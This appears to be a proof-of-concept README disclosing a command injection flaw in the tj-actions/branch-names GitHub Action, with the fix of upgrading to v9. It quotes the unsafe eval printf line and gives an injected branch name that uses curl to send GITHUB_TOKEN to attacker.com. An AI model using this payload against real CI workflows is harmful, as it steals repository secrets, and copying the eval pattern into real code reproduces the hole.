
PoC for CVE-2025-54416 tj-actions/branch-names command injection
This repository demonstrates CVE-2025-54416, a critical command injection vulnerability in tj-actions/branch-names affecting over 5,000 public repositories.
The tj-actions/branch-names GitHub Action (versions <= 8.2.1) uses unsafe eval printf "%s" which reintroduces command injection risks after proper sanitization.
# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
tj-actions/[email protected] to extract the branch nameBranch name: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
When the workflow runs:
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN
Update to tj-actions/branch-names@v9 or later, which replaces eval printf "%s" with safe printf calls.